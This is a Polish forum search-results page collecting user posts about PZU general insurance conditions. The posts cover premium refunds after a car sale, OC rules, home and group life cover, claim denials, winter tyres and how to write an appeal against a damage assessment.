Ogólne warunki PZU

Widzisz wypowiedzi znalezione dla hasła: Ogólne warunki PZU




Temat: OC i AC po sprzedaży
a ja otwieram temat ponownie, bo troszke Panowie namieszaliscie

AC: jesli posiadamy umowe AC i sprzedamy auto, wtedy przysluguje nam zwrot niewykorzystanej skladki. skladka niewykorzystana liczona jest od dnia sprzedazy, a nie od dnia zgloszenia sie do ubezpieczyciela i poinformowania o tym fakcie. nie ma wiec potrzeby gonic do zakladu ubezpieczen tego samego dnia, co sprzedaz auta. sprawdz Mikołaj ogolne warunki ubezpieczenia, powinienes je dostac jeszcze przed podpisaniem umowy, a w nich jest rozdzial o rozwiazaniu umowy. w zaleznosci od zakladu dodawane sa tzw. "dni ochrony" (np. w PZU - 3 dni robocze), wiec np. jak sprzedales auto dzis, to umowa jest rozwiazywana z dniem 9 kwietnia 2005. Poza tym wiekszosc ubezpieczycieli nalicza sobie oplaty manipulacyjne za zerwanie umowy przed jej koncem. sprzedajesz, zlomujesz=zrywasz umowe. i wtedy masz naliczane jakies koszta. wiem, ze w niektorych firmach "ratunkiem" jest posiadanie drugiego auta z AC i ubezpieczonego na swoje nazwisko. I jeszcze jedna sprawa. W wiekszosci zakladow jest jeszcze tak, ze jak na polisie, ktora zrywasz miales szkode, wtedy zwrot Ci nie przysluguje. Sprawdz jeszcze te kwestie, Mikołaj.

NW: pominiete zostalo NW. Z NW tez przysluguje zwrot i tez jak w przypadku AC liczony jest od dnia sprzedazy, tez sa naliczane dni ochrony (zazwyczaj sporo wiecej niz w AC), tez sa oplaty manipulacyjne i tez nie ma zwrotu, gdy miales szkode.

OC: sprawy OC reguluje ustawa z 22 maja 2003 r. i tam znajdziesz odpowiedzi na swoje watpliwosci. Koledzy generalnie maja racje, ale podkresle jeszcze, ze nie ma czegos takiego, ze jak nabywca nie przerejestruje auta lub bedzie jezdzil na OC sprzedajacego i jak spowoduje szkode, to sprzedajacy ma ból. Nic z tych rzeczy. Obie strony umowy mają 30 dni na zgloszenie faktu sprzedzy/kupna. Wystarczy, ze Ty wypowiesz umowe i wtedy nawet jak kupujacy bedzie jezdzil na Twoim OC, ktore mu podarujesz przy sprzedacy, wtedy moga Ci naskoczyc. Liczy sie fakt zgloszenia sprzedazy w urzedzie komunikacyjnym i w zakladzie ubezpieczen. A jesli taki koleś bedzie sprawca wypadku, wtedy za niego zaplaci Ubezpieczeniowy Fundusz Gwarancyjny, a na pewno nie Ty i nie Twoje OC. Znizki wiec Ci nie poleca.
Jedyna kwestia to przechodzace na nowonabywce OC. Jesli kupujacy bedzie bedzie mial maksymalne znizki, a Ty nie, wtedy nie bedzie mial w tym interesu i wypowie Ci umowe,a Ty dostaniesz zwrot kasy. Gorzej jesli bedzie zorientowany w temacie i bedzie chcial Twoje OC. Wtedy z kasy nici. Szukaj wiec niekumatego w temacie .

generalnie to tyle, jakby byly jakies pytanie, walcie smialo na PW.

pzdr





Temat: ubezpieczenie domu - likwidacja szkody


| Staram się wybrać ubezpieczyciela nowego domu. O ile ceny i warunki
| są do porównania, to niestety nie mam danych dotyczących likwidacji
| szkody Jeśli ktoś miał to nieszczęście i musiał skorzystać z
| ubezpieczenia to bardzo proszę o opinie.

jak wyglada porownianie cen za ubezpieczenia ? Kto ma jakies ciekawe
oferty
?
(abstrahujac od spraw likwidacji)


Umów się z agentami z kilku firm ubezpieczeniowych. Podaj te same kwoty do
wyliczeń składki (z tym jest czasami kłopot - są różne definicje sposoby
wyliczeń itp.) i porównaj oferty. Przeczytaj uważnie warunki, wyłączenia
ogólne i szczegółowe - tu tkwią istotne różnice. Wszystko możesz załatwić w
domu nie ruszając się z miejsca ...
Zastanów się czy chcesz ewentualnie połączyć ubezbieczenie domu np. z AC
samochodu, w tym wypadku dość ciekawie wygląda ofeta Hestii (pakiet
Hestia-7), jeżeli nie - to u mnie najlepiej cena/zakres wyszedł CU,
szczególnie jeżeli wartość ubezpieczenia przekracza 500 tys. zł. - mają
pakiet "Rezydencja", który w "standarcie" ma bardzo szeroki zakres
ubezpieczenia i składkę jak inne pakiety o mniejszym zakresie.
Natomiast Allianz ma ciekawą możliwość ubezpieczenia domu w budowie (a
dokładnie w trakcie wykańczania, prawie nikt tego nie oferuje, a już na
pewno w takiej cenie) - niestety warunek, dom musi być w stanie zamkniętym i
jeszcze parę innych warunków ...
Z tego co wiem to np. PZU ma dość przyzwoite skłądki, ale bardzo ograniczony
zakres (warunki i wyłączenia) - niestety ubezpieczony dowiaduje się o tym
dopiero po szkodzie, ale sam jest sobie winny, bo trzeba czytać i się
dokładnie dopytywać - u mnie agent był 3 razy i "maglowałem" go na wszystkie
strony ;-)

Pozdrawiam.







Temat: Pomiary
Witam kolegów.
Podobnie jak Panowie wcześniej miałem wątpliwości czy rzeczywiście należy wykonywać pomiary pętli zwarcia jeśli w obwodzie znajduje się zabezpieczenie RCD, zwłaszcza że w jednych dokumentacjach technicznych (dla nowo oddawanych, obiektów do eksploatacji) był taki zapis, w innych nie. W obiektach eksploatowanych "Prawo budowlane" na właściciela lub zarządcę nałożyło obowiązek opracowania "Instrukcji eksploatacji instalacji i urządzeń elektrycznych". Instrukcja ta musi określac zakres przeglądow, z terminami badań i pomiarów. Czyli w instrukcji powinien pojawić się zapis nakazujący wykonanie pomiarów pętli zwarcia i zabezpieczeń RCD lub tylko zabezpieczeń RCD. Norma PN-93/E-05009/61 "Instalacje w obiektach budowlanych - Sprawdzanie odbiorcze"(dotyczy obiektów przekazywanych do eksploatacji) będąca tłumaczeniem normy IEC 364-6-81 (1986) w pkt 612.1 Postanowienia ogólne - podaje dla instalacji elektrycznych kolejność przeprowadzania prób i pomiarów. Metody wykonania prób opisane w normie są podane jako zalecane. Na podstawie tej normy w pierwszej kolejności należy wykonać próbę samoczynnego wyłączenia zasilania ( w opracowaniu), jako dalszą próbę działania urządzeń ochronnych ( z uwagą że zamierza się opracować zał.B; metod badania urządzeń ochronnych na prąd różnicowy). Dla obiektów eksploatowanych przy opracowywaniu instrukcji, zakres badań i pomiarów wynika z DTR urządzeń. Dla wyłączników RCD i wyłączników instalacyjnych producenci najczęściej odwołują się do normy niemieckiej VDE. W książce "Bezpieczeństwo w elektroenergetyce" prof H. Markiewicza w dziale 7.2 -Zakresy i metody badania- znajduje się informacja o pracach nad projektem normy PN-IEC 364-6-61, oraz podane są terminy i zakres badań instalacji elektrycznych w/g opracowywanej normy i normy niemieckiej VDE[33,55,90] w postaci tabel 7.1 - 7.2. Z ich lektury wynika jednoznacznie że dla sieci w układzie TN, TT pomiarom podlegają urządzenia przetężeniowe i różnicowo-prądowe. W komentarzu do normy PN-IEC 60364 tom 1 znamienne do powyższych zagadnień jest użycie pojęć "ochrona przed porażeniem w warunkach normalnych" i "ochrona w przypadku uszkodzenia". Jeszcze jeden wątek- protokół pomiaru jest dokumentem prawnym, w przypadku pożaru obiektu z przyczyn wady instalacji elektrycznej PZU, może zarzucić osobie wykonującej pomiary tyko RCD że nie wykonał wszystkich pomiarów.



Temat: Kto doplaca do pakietow ubezpieczenia nowych samochodow OC +AC od 4,5% ?

| PZU nie moze stosowac zadnych preferencji dla nowych samochodow.
| Ma wyliczyc dla kazdego kierowcy skladke wedlug tych samych warunkow i
| tej samej tabeli.

Dlaczego ? Ono sprzedaje - wg. wlasnych warunkow. Jak nie chcesz - nie
kupuj.


Ok. PZU sprzedaje wlasnie wedlug swoich warunkow, wedlug tabel, ktore
PZU wlasnie upublicznilo.
Te warunki sa powszechnie, bez wyjatku obowiazujace wszystkich
kierowcow, bez wyjatkow.
No chyba ze sa rozne warunki dla roznych klientow.


| Ale bajer w stylu kierowca po 10 wypadkach , kupujacy polise za 5%
| ceny samochodu, tak samo jak kierowca bez wypadku
| jest niezgodny z prawem ubezpieczeniowym.

Skoro to wszyscy stosuja - to mysle, ze jest zgodne.


Wybacz, ale jak na razie obowiazuja Ogolne Warunki Zawierania
Ubezpieczen Komunikacyjnych i w nich nie doczytalem sie zadnych
specjalnych warunkow.

Moze byc przejecie czesci lub calosci skladki przez dealera, bo to jego
interes zeby robic promocje.
Ale polisa oplacona w 5% zamiast w pelnej wysokosci, zgodnie ze
szczegolowa tabela, jest wedlug mnie po prostu niewazna.

Niewazna, bo skladka ubezpieczeniowa nie zostala oplacona w pelnej
wysokosci.

Moze sie myle to mnie poprawcie, ale jak na razie obowiazuja
Jednolite Warunki Zawierania Polis Ubezpieczeniowych Komunikacyjnych
OC+AC+NW, zgodnie z opublikowanymi tabelami.

Inne warunki po prostu nie obowiazuja.

Moze dealer zawrzec z towarzystwem ubezpieczeniowym umowe, na
refinansowanie czesci skladki ubezpieczeniowej,
ale na polisie skladka powinna byc zawsze obliczona zgodnie z tabela
i potwierdzona, ze oplacona w pelnej wysokosci obowiazujacej skladki
a juz to ze dealer te kwote przejmie, czy odliczy od ceny samochodu,
to sa kwestie techniczne,
ale chyba nie jest wazna polisa, ktora nie zostala oplacona w pelnej
wysokosci skladki i zgodnie z obowiazujaca tabela.

Bo jezeli jest wazna, to ta tabela nie obowiazuje powszechnie, a zatem
nie stanowi warunkow obliczania OC i AC.

A jak nawet PZU stosuje dwie rozne tabelki na nowe samochody i uzywane
lub dla wybranego dealera czy producenta, to kierowcy nie korzystajacy z
tych specjalnych warunkow sa poszkodowani
i moga dochodzic rozszerzenia szczegolnych warunkow ubezpieczenia na
wszystkich kierowcow.

Poza tym zgodnie z opublikowanymi tabelami obliczania skladek OC i AC
w PZU, brak jest opcji specjalnych czy promocyjnych ofert ubezpieczenia
wybranych kierowcow.
I to jest oczywiste, bo warunki maja charakter ogolny i powszechny.

A zatem dolaczenie do 5% ubezpieczen aneksu, ze pozostala czesc skladki
w wysoksci ..... zl  oplacil dealer, wydaje sie co najmniej uzasadnione.

Przeciez az do oplacenia skladki ubezpieczeniowej w pelnej wysokosci
polisa ubezpieczeniowa nie jest uznana za skutecznie zawarta.

Przeciez z polisa OC AC nie jest tak jak z rachunkiem telefonicznym, ze
mozna oplacic np. czesc , i reklamowac rachunek.

Nie mozna na przekazie wplaty ubezpieczenia wpisac 100 zl
i powiedziec, ze reszte zaplace w terminie pozniejszym.

J.

--
Jacek






Temat: OC PZU - pomocy!


Zalalo mnie przedsiebiorstwo wodociagow i kanalizacji w Zorach. Sam
nie posiadalem polisy, z racji iz byla to kolejna akcja tego typu
oficjalnie wystapilem do przedsiebiorstwa o zadoscuczynienie oraz
naprawa wadliwie dzialajacej kanalizacji na ulicy. Ci naprawili ja, na
wlasny korzt zamontowali blokady i skierowali sprawe do PZU gdzie
mieli wykupiona polise OC. Przyjechal sobie przedstawiciel z PZU,
porobil zdjecia, opisal jak to wszystko wyglada. PWiK Zory przyznalo
sie iz to z ich winy zostala zalana posesja oraz sprzet, jednak PZU
nie chcialo mi wyplacic pieniedzy z racji iz nie dalem im faktur
zakupu, specyfikacji uszkodzen itp. -takie pismo wyslali mi po

istnieje kwota bezsporna za remont gdzie przy 62m kw. wyliczyli
malowanie, wymiana ogrzewania podlogowego [co wiaze sie z wymiana
kafelek] i innych na kwote 612zl. Te kwote wraz z liste otrzymalem.
Odrazu sie odwolalem, dostarczylem faktury itp. Dzis dostalem
informacje [8miesiecy po zdarzeniu] ze jednak faktury nie sa
potrzebne, gdyz jak sie okazuje OC dla korporacji [facet cytowal mi
par 7 pkt 13] nie obejmuje urzadzen elektrycznych/komputerow/
mikroprocesorow itp. -dokladnie tego, co zostalo zniszczone- chodzi o
servery DELL za laczna kwote 24tys PLN. W necie nigdzie nie moge
znalesc 'ogolnych warunkow OC dla klienta korporacyjnego' o ktorych
przez telefon mowil przedstawiciel PZU, nie wiem jak dokladnie brzmi
ten punkt i nie wiem co w tym wypadku robic... sprawa z pow. cywil.
wobec WPiK Zory? Ale na jaka cholere PZU 8 miesiecy zwlekalo?! W tym
czasie pisma do Dyr/Rzecznikow i innych... i po 8 miesiacach
'elektryczne nie wchodza w rachube'. Nie wiem co robic, gdzie szukac
inf na ten temat... nic nie wiem, jestem laikiem. z gory thx za pomoc


ok
polisa ubezpieczenia oc ogólnego (deliktowego) powinna pokryć takie
szkody, wkońcu po to się ubezpieczają, jesli chodzi o owu OC to jest tam
paragraf 7 pkt 14 (a nie 13) i w tym punkcie chodzi imho o informacje
zgomadzone na nośnikach a nie o same komutery (mogę sie mylic), jesli
fakycznie nie odpowiadają (w co watpie) to pozostaje dorga sądowa w
stosunku do wodociągów. Zwróć sie z pomocą do jakiegoś prawnika
zajmujacego sie odszkodowaniami i biez kase od PZU za straty finansowe
jakie poniosłeś + oczywiście za kompy + odstetki za spoznienie itd,
trzeba dać im nauczkę, no chyba ze faktycznie nie odpowiadaja za takie

Masz prawo wglądu w akta z postepowania szkodowego, możesz również zrobic
kopie w ZU (odpłatnie)

cyt
------------------------------------------------------------
Wyłączenia odpowiedzialności

§ 7. 1. PZU S.A. nie odpowiada za szkody:

13) związane z naruszeniem praw własności intelektualnej,

14) powstałe w komputerach, systemach komputerowych lub ich częściach lub
urządzeniach komputerowych, systemach telekomunikacyjnych lub ich
częściach lub urządzeniach telekomunikacyjnych, w tym także układach
peryferyjnych, procesorach, mikroprocesorach, układach elektronicznych,
układach scalonych lub urządzeniach mechanicznych związane z nie
odczytaniem lub nieprawidłowym odczytaniem zapisu czasu, danych
elektronicznych (zapamiętywanie, gromadzenie, zapisywanie, zachowywanie,
przetwarzanie),

15) wyrządzone przez wszelkiego rodzaju wirusy lub innego rodzaju
programy zakłócające prace jakiegokolwiek programu, całego komputera,
sieci niezależnie od przyczyny ich pojawienia się, w tym związanych z
Internetem lub korzystaniem z Internetu,
-------------------------------------------------------------------





Temat: Co ma robic policja z OC PZU oplaconym na pol roku, gdy ten okres uplynal ?


Co ma robic policja z OC PZU oplaconym na pol roku, gdy ten okres
uplynal ?

PZU na odwrocie podaje warunki, ze umowa zostala zawarta na 12 miesiecy
a policjant, ze nie oplacono 2-giej skladki.

Czy wazna jest 12-miesieczna umowa OC PZU czy tez istotne jest
nieoplacenie 2-giej skladki ?

kto sie na tym zna
Jacek


Zwrócić należy uwagę na następujące przepisy:

Dz.U.2000.26.310 (R) Ogólne warunki obowiązkowego ubezpieczenia
odpowiedzialności cywilnej posiadaczy pojazdów mechanicznych za szkody powstałe
w związku z ruchem tych pojazdów.

§ 9. Umowa ubezpieczenia OC ulega rozwiązaniu:
1) z upływem okresu, na który została zawarta,
2) z chwilą wyrejestrowania pojazdu,
3)(10) w przypadkach określonych w § 8 ust. 4 i 9,
4) z chwilą udokumentowania trwałej i zupełnej utraty posiadania pojazdu w
okolicznościach nie powodujących zmiany posiadacza,
5) z dniem odstąpienia od umowy w przypadku określonym w § 8 ust. 3.

Rozdział 4
Zawarcie umowy ubezpieczenia OC, powstanie i czas trwania odpowiedzialności
zakładu ubezpieczeń

§ 14. 1. Umowę ubezpieczenia OC zawiera się na pisemny wniosek posiadacza
pojazdu lub osoby przez niego upoważnionej, złożony zakładowi ubezpieczeń. Nie
dotyczy to przypadku określonego w § 7 ust. 1.
2. Zakład ubezpieczeń nie może odmówić wydania zaświadczenia o przebiegu
ubezpieczenia OC.

§ 15. Zawarcie umowy ubezpieczenia OC zakład ubezpieczeń potwierdza polisą lub
innym dokumentem ubezpieczenia.

§ 16. 1. Odpowiedzialność zakładu ubezpieczeń rozpoczyna się, z zastrzeżeniem
ust. 2 i 3, z chwilą zawarcia umowy ubezpieczenia OC i zapłacenia składki
ubezpieczeniowej lub jej pierwszej raty.
2. Jeżeli w umowie ubezpieczenia OC został określony późniejszy termin
płatności składki lub jej pierwszej raty, odpowiedzialność zakładu ubezpieczeń
rozpoczyna się z chwilą zawarcia umowy.
3. Inny niż wskazany w ust. 1 i 2 termin rozpoczęcia odpowiedzialności zakładu
ubezpieczeń można w umowie ubezpieczenia OC określić wówczas, gdy umowę zawiera
się:
1)(15) na okres krótszy niż 12 miesięcy, gdy pojazd jest zarejestrowany czasowo
lub zarejestrowany za granicą albo gdy jest to pojazd, o którym mowa w § 2 pkt
1 lit. a)-d) i pkt 2,
2) przed zarejestrowaniem pojazdu podlegającego rejestracji,
3) na okres kolejnych 12 miesięcy przed rozpoczęciem tego okresu.

§ 17. 1. Odpowiedzialność zakładu ubezpieczeń trwa przez okres wskazany w
umowie i kończy się z upływem ostatniego dnia tego okresu, z zastrzeżeniem
wyjątków przewidzianych w niniejszym rozporządzeniu.
2. W razie opłacania składki ubezpieczeniowej w ratach, niezapłacenie przez
posiadacza pojazdu raty składki w oznaczonym terminie nie powoduje ustania
odpowiedzialności zakładu ubezpieczeń.
3. Odpowiedzialność zakładu ubezpieczeń, wynikająca z umowy ubezpieczenia OC,
ustaje w przypadkach określonych w § 9.

Najistotniejszy przepis, to § 17. 2. !!!!!!!!!!!!!

żadne interpretacje i okólniki czy policji, czy PZU nie mają znaczenia wobec
jednoznacznego brzmiania przepisu rozporządzenia.
pozdr
marek





Temat: Ubezpieczenie grupowe - czy? jak? i za ile?


Po pierwsze - ubezpieczenia grupowe na życie oferowane w zakładach pracy
zawsze są dobrowolne - tzn. zawsze pracownik musi wyrazić zgodę na
przystąpienie do niego. Szczególnie dotyczy to sytuacji, gdy składka jest
ściągana z jego pensji. Ubezpieczenia te są dodatkowymi do obowiązkowych
ubezpieczeń "zusowskich".


No to dobrze to słyszeć - wstrzymam się z podpisaniem póki nie przestudiuje
warunków ogólnych ubezpieczenia.


Proste porównanie sumy ubezpieczenia i składki może być mylące. Liczy się
też
zakres - np. ubezpieczenie może obejmować śmierć współmałżonka, rodziców,
teściów, urodzenie dziecka, uszczerbek, poważne zachorowania, świadczenia
szpitalne. DOdatkowo wyższa suma ubezpieczenia może dotyczyć tylko śmierci
w
wyniku nieszczęśliwego wypadku, a w wyniku zgonu "naturalnego" można
dostać
znacznie niższą wpłatę.


O to chodzi, że z tego prostego porównania (oferta kolegi to 2 strony textu
pisanego małą czcionką a moje pzu to tylko strona A4 z tabelką gdzie literki
mają prawie cm wysokości - także pierwszy rzut oka daje dużo do myślenia)
więcej + jest dla Alianza (chyba, nie jestem pewny). Przykład z pierwszymi
pozycjami z listy: zgon ubezpieczonego PZU: 20000, Alianz: 20000. Druga
pozycja, zgon w wypadku PZU: 40000, Alianz: 40000. W obu przypadkach sumy są
takie same tylko poszeczgólne warianty różnią się składkami, PZU: 50 zł. a
Alianz: 20zł. Oczywiście nie wszystko jest takie piękne ze strony Alianza,
nie wszystkie świadczenia mają takie same jak PZU - ale te które mnie
interesują są takie same albo nawet wyższe. Po co mi zgon małżonka jak póki
co nie posiadam i jeszcze długo nie będę posiadał takiego "udogodnienia" ;)
Póki co od 5 lat żyje z jedną panią i obydwoje mamy takie same zdanie co do
ślubu: NIET!


Na wysokość składki ma wpływ struktura grupy. Np. jeśli w twoim zakładzie
pracują tylko osoby w wieku przedemerytalnym, to składka będzie wyższa niż
dla dwudziestolatków. Dodatkowo liczy się rodzaj wykonywanej pracy - np.
górnicy zapłacą wyższą składkę niż nauczyciele.


I tu chyba trafiamy w sedno sprawy (tak mi się wydaje) - u mnie w pracy
(urząd miejski - straszne bagno) jest pełno starych bab, które nie dość że
bawią się w górników (dłubanie w nosie no bo co innego mogą robić?) to
jeszcze ja i inne takie misie jak ja, płacimy za nie składki! O nie! Czy
istnieje możliwość ubezpieczyć się grupowo ale tak, żeby oferta byłaby tylko
skierowana dla ludzi w wieku poniżej (to tylo przykład) 40 lat? Jakie urzędy
są każdy widzi - ćwierć pracówników zapier***a ponad siły a reszta sobie
pierdzi w stołki. Niedość, że moja wypłata zamyka się w kwocie trzy
cyfrowej, to jeszcze mi każą płacić składkę jakbym miał 70 lat!
Czy w jednym zakładzie pracy może być kilka różnych ubezpieczeń grupowych, z
różnych firm? A może olać to ubezpieczenie grupowe i wykupić indywidualne?
Tylko że z tym indywidualnym to podobno jest tak, że jest troche droższe od
grupowego. Ale w moim przypadku to pewnie będzie i tak taniej :)


Pozdrawiam,
Marcin


Pozdrawiam
Artur





Temat: Kara za brak opon zimowych?
Bez zimówek lepiej nie szaleć

Polskie zakłady ubezpieczeń nie uzależniają wypłaty odszkodowania ani jego wysokości od zamontowania w pojeździe opon zimowych. Ich brak w pewnych wypadkach może jednak pozbawić odszkodowania lub je ograniczyć.

PZU na przykład, nie uzależnia wypłaty odszkodowania od zamontowania w pojeździe opon zimowych (lub letnich). — Także w przeanalizowanych przez nas ogólnych warunkach ubezpieczenia autocasco kilku zakładów ubezpieczeniowych nie natrafiliśmy na postanowienia mówiące o braku odpowiedzialności lub jej ograniczeniu z powodu niewłaściwie dobranych opon do pory roku — poinformowała „Rz” Agnieszka Rosa, z biura prasowego PZU SA.O ile przy ubezpieczeniu AC nie można wykluczyć zamieszczenia w tzw. powinnościach ubezpieczonego, obowiązku zakładanie zimówek już teraz (np. przy specjalnych samochodach np. terenówkach) to warunki ubezpieczenia OC (od odpowiedzialności cywilnej) określa ustawa, i przy niech nie ma mowy o takim wymogu. Zatem w Polsce nie ma wprost zapisanego prawnego obowiązku dostosowania rodzaju ogumienia do pory roku.

Mimo tego, coraz częściej pojawiają się informacje, że towarzystwa ubezpieczeń zmniejszają wysokość odszkodowania z powodu braku opon zimowych w trakcie kolizji czy wypadku, a to z tego powodu, że właściciel auta przez ich nieposiadanie przyczynił się do kolizji. — Na jakiej podstawie, przecież jazda na zimówkach nie jest w Polsce obowiązkowa — pyta „Rz” Janusz Z. z Tarnowa.

Pomijając ewentualne przypadki naciągania klientów, czy swego rodzaju blefu negocjacyjnego ze strony zakładów ubezpieczeń (które mogą przecież kalkulować, że znaczna część poszkodowanych kierowców nigdy nie pójdzie do sądu po „dopłatę”), towarzystwa ubezpieczeń nie są pozbawione zupełnie prawnych argumentów.

Po pierwsze, przy ubezpieczeniu OC mogą powoływać się właśnie na przyczynienie się poszkodowanego do szkody, na art. 362 kodeksu cywilnego. Stanowi on, że jeżeli poszkodowany przyczynił się do powstania lub zwiększenia szkody, obowiązek jej naprawienia ulega odpowiedniemu zmniejszeniu stosownie do okoliczności i stopnia winy obu stron. — Zarzut braku zimówek, pojawiają się zwłaszcza przy kolizjach z udziałem większej liczny auta. Sprawca (jego ubezpieczyciel) mówi np., że gdyby poszkodowany miał zimówki to by szybciej wyhamował po uderzeniu i nie rozbił kolejnego auta — wskazuje mec. Wiesława Góral, specjalistka prawa ubezpieczeń.

— Przy AC nie ma mowy o przyczynieniu się (sprawcą jest ubezpieczony), ale argument z zimówkami można wywieść na postawie ogólniejszej normy mianowicie: art. 827 kc., który mówi, że co do zasady odszkodowanie nie należy się w razie rażącego niedbalstwa poszkodowanego — wskazuje dr Marcin Orlicki z Uniwersytetu Adama Mickiewicza.

Według mec. Macieja Kacprzaka, przy wypadku na oblodzonej drodze na Mazowszu zarzut braku zimówek można uznać za mało poważny, ale przy wyjeździe w zaśnieżone góry, w region gdzie powszechnie je się zakłada, ich brak można potraktować właśnie jako lekkomyślność i podstawę odmowy odszkodowania.

Marek Domagalski

Link do źródła: http://www.rp.pl/artykul/...nie_szalec.html



Temat: Konie mechaniczne, czyli prośba o pomoc :)
Martik - po pierwsze ja bym szukała auta od 1szego góra drugiego właściciela i to auta z książką serwisową - tam powinnaś widzieć cała historię (w tym narastający przebieg). Średni przebieg samochodu to 15 000 km rocznie (przynajmniej tak przyjmuje się w ubezpieczeniach) - często można znaleźć samochód od osoby prywatnej z mniejszym przebiegiem i to jest fajna sprawa, bo będziesz miała mniej zużyte części. Oczywiście koniecznie pojedź takim autkiem do serwisu na przegląd przed zakupem (i to najlepiej do innego serwisu niz ten wbijany w książce samochodu), żeby się nie okazało, że w książce "zapomnieli" wbić naprawy powypadkowej. Przy okazji Ci sprawdzą czy właściciel wymieniał wszystkie części w czasie eksploatacji tak jak powinien (np b ważny jest olej po pierwszych 1-2 tys kilometrów). Raczej unikaj samochodów które były kiedyś służbowe - serwisowane może i były, ale prawie żaden kierowca nie szanuje służbowego auta.
Z tego co piszesz, to będziesz miała samochodem niewielkie przebiegi - nie wiem czy jest wiec sens się pchać w diesla, będzie droższy przy zakupie no i niestety naprawy/przeglądy są droższe (a przeglądy diesli częstsze).
Jeśli chodzi o marki, to długowiecznością charakteryzują sie japończyki czyli ja bym Ci poleciła Toyotę, Hondę. Raczej omijaj francuskie auta - są ładne ale po 6 latach sie sypią (w szczególnosci te trochę starsze obecnie konstrukcje), Skody też bym Ci nie polecała - ja jeździłam swoją nie całe 4 lata a pod koniec dość często odwiedzałam warsztat.
Yariska z silniczkiem 1l to będzie takie spokojne damskie autko - spokojnie nim pojeździsz, niebyt droga w eksploatacji no i popularna wiec dużo części dostępnych w przystępnych cenach.

Teraz koszty - po zakupie czeka Cię rejestracja (około 200PLN - sprawdź dokładnie w urzędzie gminy), zapłacenie podatku od czynności cywilno-prawnych (2% wartości samochodu - nie płaci się go chyba gdy jedna strona jest płatnikiem VAT, musisz go zapłacić Ty czyli kupujący), no i ubezpieczenie auta - OC przechodzi razem z pojazdem (ale bij zabij nie wiem na jak długo); jeśli chodzi o to gdzie się ubezpieczyć to musisz sobie odpowiedzieć na pytanie jaki chcesz zakres (OC jest wszędzie takie samo, AC mocno się różnią między sobą warunkami, Assistance też są mocno zróżnicowane) - jeśli chodzi o ofertę to poszukaj w firmach direct AXA, Link 4, Allianz direct, można się też spytać jakiejś tradycyjnej firmy. Na co zwrócić uwagę przy ubezpieczeniu - na udział własny, sumę (i czy ulega pomniejszeniu po szkodzie), na wyłączenia - po prostu trzeba przeczytać grubą książeczkę warunków ogólnych Ponieważ jesteś kobietą nie znającą się na samochodach, to polecam Ci dokupienie assistance - przebijesz koło, staniesz w trasie, zabraknie benzyny to dzwonisz i za 15 minut przyjeżdżają panowie i albo Ci naprawiają auto na miejscu albo odholują do warsztatu. Tylko przy assistance mocno popatrz na obszar na którym obowiązuje (w PZU assistance działa 30 km od miejsca zamieszkania - czyli jak się rozkraczysz bliżej domu to nie masz prawa skorzystać z assistance, a np w LINK 4 assistance działa wszędzie).

No dobra - rozpisałam się, ale ja o ubezpieczeniach, to mogę epopeje narodowe pisać



Temat: Jak napisac odwoÂłanie?


| A lampa tylna kosztuje  150zł uzywana na giełdzie a oni mi przynali
104zł

Polskie prawo mowi, ze odszkodowanie nie moze
skutkowac wzbogaceniem sie.

Widac dziala to tylko w stosunku do ubezpieczonych,
a juz nie ubezpieczycieli.

Jak kupujesz samochod, to powinienes sobie zdawac sprawe,
ze bedziesz przez wszystkich dymany: ka kredytach,
na podatkach, na ubezpieczeniach, na odszkodowaniach
i gdzie sie tylko jeszcze da.

Polska jeszcze nie jest krajem, ktory lubi
zamozniejszych obywateli.

Zacisnij zeby i znies to po mesku :)

A, i nie zapomnij ze walona bryka to utrata wartosci.
Za to tez ci sie cos od ubezpieczyciela nalezy.


Przestań! Bo gadasz głupoty.
Problem ubezpieczonych polega na tym, że najczęściej nie wiedzą jakie mają
ubezpieczenie. Kupując najtańsze ubezpieczenie narażają się w przyszłości na
to, że w razie konieczności skorzystania z ubezpieczenia nie będą mieli
wypłaconej całej kwoty, lecz część kosztów będą musieli ponieść z własnej
kieszeni. Dzieje się to dlatego, że w wielu firmach lub u wielu agentów
sprzedawane są najtańsze ubezpieczenia, które nie mają wykupionego udziału
własnego oraz amortyzacji.
Tak więc w przypadku niewykupionego udziału własnego TU odpowiada
przykładowo w 60%. W przypadku powstania szkody pozostałe 40% pokrywa
ubezpieczony. W przypadku niewykupionej amortyzacji wartość odszkodowania
pomniejszana jest o procentowy wskaźnik amortyzacji (zużycia się elementu).
Dlatego też później okazuje się, że TU za element, który kosztuje 500zł
wypłaca raptem 200zł.
Ludzie! Pytajcie czy dane ubezpieczenie zawiera wykupiony udział własny oraz
amortyzację. Dokładnie czytajcie OWU (Ogólne Warunki Ubezpieczenia) oraz to
co jest na polisie. Jeżeli nie dostaliście OWU to najwyższy czas zmienić
agenta ubezpieczeniowego, ponieważ jest to jego "psim" obowiązkiem, aby je
dostarczyć klientowi.

Tak więc co do tego, czy LOLO został pokrzywdzony przez TU nie wypowiadam
się, ponieważ nie wiem jakie ma ubezpieczenie.
Co do pominięcia naprawy tylnego pasa i malowania drzwi. Najlepiej jakby
miał ekspertyzę i wycenę na naprawę autoryzowanego ASO.

LOLO
Odwołanie napisz w formie: Proszę o ponowną ekspertyzę rzeczoznawcy PZU,
ponieważ już po przeprowadzeniu tejże ekspertyzy ujawniłeś kolejne usterki
powstałe w wyniku kolizji. Usterek tych nie zauważyłeś w trakcie poprzedniej
ekspertyzy, ponieważ [np. nie były widoczne przed zdjęciem zderzaka lub były
w miejscu mało widocznym, albo powstały dopiero na skutek przesunięcia
elementu, o który ociera się inny element] lub z niewiadomych Ci przyczyn
nie zostały ujęte w ekspertyzie.
Jesteś pewien, że przed kolizją w/w usterek nie było.
Teraz możesz wymienić co: [..........] pisz jak najwięcej, nawet
najdrobniejsze ryski z krótkim opisem np. rysa o długości 10cm powyżej
tylnego zderzaka z prawej strony. Im dokładniej opiszesz gdzie się co
znajduje tym większe szanse, że rzeczoznawca tego nie oleje.
Zgodnie z ekspertyzą oraz wyceną kosztów naprawy [tu podajesz ASO] w ramach
przywrócenia samochodu do stanu pierwotnego należy:
[w podpunktach wymieniasz co ma być zrobione]
Dopisujesz: Do podania (prośby lub odwołania) załączam [wymieniasz co - np.
ekspertyzę ASO, kosztorys, cennik elementów ze sklepu (szukaj
najdroższego:)] - jeżeli te dokumenty posiadają jakieś numery to wpisujesz]
Musisz wpisać swoje dane, adres zamieszkania, oraz własnoręcznie podpisać.
A także: Dotyczy samochodu marki [podajesz markę nr rej. samochodu]
Nr polisy [...]
Podaj także nr poprzedniej ekspertyzy.
Możesz także próbować uzyskać zwrot kosztów ekspertyzy, którą musiałeś
przeprowadzić z powodu nierzetelnego przeprowadzenia ekspertyzy przez
